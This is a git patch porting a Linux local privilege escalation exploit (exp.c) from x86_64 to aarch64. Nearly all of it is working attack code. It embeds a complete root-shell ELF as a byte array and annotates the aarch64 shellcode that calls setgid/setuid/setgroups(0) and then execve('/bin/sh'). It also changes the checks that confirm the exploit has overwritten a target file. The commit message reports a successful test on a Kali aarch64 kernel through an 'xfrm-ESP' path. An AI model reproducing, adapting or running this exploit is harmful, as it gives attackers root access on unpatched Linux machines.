From 557f760d6b1484c31c371a3edb50338efe7d1a03 Mon Sep 17 00:00:00 2001 From: Zi1chs Date: Tue, 12 May 2026 11:20:23 +0700 Subject: [PATCH] Port exploit to aarch64 - Replace x86_64 shellcode/ELF in shell_elf[] with aarch64 equivalent (e_machine=0xb7, MOVZ/SVC instructions, syscall numbers 144/146/159/221). - Update verify_byte() check at post-write to look for the aarch64 MOVZ opcode signature (0x80 0xd2) instead of the x86 (0x31 0xff). - Update su_marker[] to match the first 8 bytes of the aarch64 shellcode. Tested on Kali aarch64 6.19.11+kali-arm64; xfrm-ESP leg lands cleanly. rxrpc leg is x86-only (oopses on aarch64 in flush_dcache_page). --- exp.c | 67 ++++++++++++++++++++++++++--------------------------------- 1 file changed, 29 insertions(+), 38 deletions(-) diff --git a/exp.c b/exp.c index d8d5711..fb90a00 100644 --- a/exp.c +++ b/exp.c @@ -40,50 +40,42 @@ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ /* - * 192-byte minimal x86_64 root-shell ELF. + * 192-byte minimal aarch64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); - * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); + * execve("/bin/sh", NULL, NULL); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. + * e_machine = 0xb7 (EM_AARCH64). * - * Setting TERM in the new shell's env silences the - * "tput: No value for $TERM" / "test: : integer expected" noise - * /etc/bash.bashrc and friends emit when TERM is unset. - * - * Code (from offset 0x78): - * 31 ff xor edi, edi - * 31 f6 xor esi, esi - * 31 c0 xor eax, eax - * b0 6a mov al, 0x6a ; setgid - * 0f 05 syscall - * b0 69 mov al, 0x69 ; setuid - * 0f 05 syscall - * b0 74 mov al, 0x74 ; setgroups - * 0f 05 syscall - * 6a 00 push 0 ; envp[1] = NULL - * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" - * 50 push rax ; envp[0] - * 48 89 e2 mov rdx, rsp ; rdx = envp - * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" - * 31 f6 xor esi, esi ; rsi = NULL (argv) - * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) - * 0f 05 syscall ; execve("/bin/sh",NULL,envp) - * "TERM=xterm\0" (offset 0xa5..0xaf) - * "/bin/sh\0" (offset 0xb0..0xb7) + * Code (from offset 0x78), little-endian 4-byte aarch64 instructions: + * d2800000 movz x0, #0 + * d2801208 movz x8, #144 ; setgid + * d4000001 svc #0 + * d2801248 movz x8, #146 ; setuid + * d4000001 svc #0 + * d2800001 movz x1, #0 + * d28013e8 movz x8, #159 ; setgroups + * d4000001 svc #0 + * 100000a0 adr x0, sh ; x0 -> "/bin/sh" + * d2800001 movz x1, #0 ; argv = NULL + * d2800002 movz x2, #0 ; envp = NULL + * d2801ba8 movz x8, #221 ; execve + * d4000001 svc #0 + * "/bin/sh\0" at offset 0xac..0xb3 */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0x02,0x00,0xb7,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, - 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, - 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, - 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, - 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xd2,0x08,0x12,0x80,0xd2, + 0x01,0x00,0x00,0xd4,0x48,0x12,0x80,0xd2,0x01,0x00,0x00,0xd4,0x01,0x00,0x80,0xd2, + 0xe8,0x13,0x80,0xd2,0x01,0x00,0x00,0xd4,0xa0,0x00,0x00,0x10,0x01,0x00,0x80,0xd2, + 0x02,0x00,0x80,0xd2,0xa8,0x1b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x2f,0x62,0x69,0x6e, + 0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; @@ -345,11 +337,10 @@ int su_lpe_main(int argc, char **argv) return 1; } - /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 - * after our overwrite) should be 0x31 0xff (xor edi, edi — first - * instruction of the new shellcode). */ - if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || - verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { + /* Sanity check: bytes at offsets 0x7a/0x7b should be 0x80 0xd2 + * — the MOVZ opcode high bytes of our aarch64 shellcode at 0x78. */ + if (verify_byte(TARGET_PATH, ENTRY_OFFSET + 2, 0x80) != 0 || + verify_byte(TARGET_PATH, ENTRY_OFFSET + 3, 0xd2) != 0) { SLOG("post-write verify failed (target unchanged)"); return 1; } @@ -1690,7 +1681,7 @@ extern int rxrpc_lpe_main(int argc, char **argv); * magic there — both before and after we patch.) */ static const uint8_t su_marker[8] = { - 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, + 0x00, 0x00, 0x80, 0xd2, 0x08, 0x12, 0x80, 0xd2, }; static int su_already_patched(void)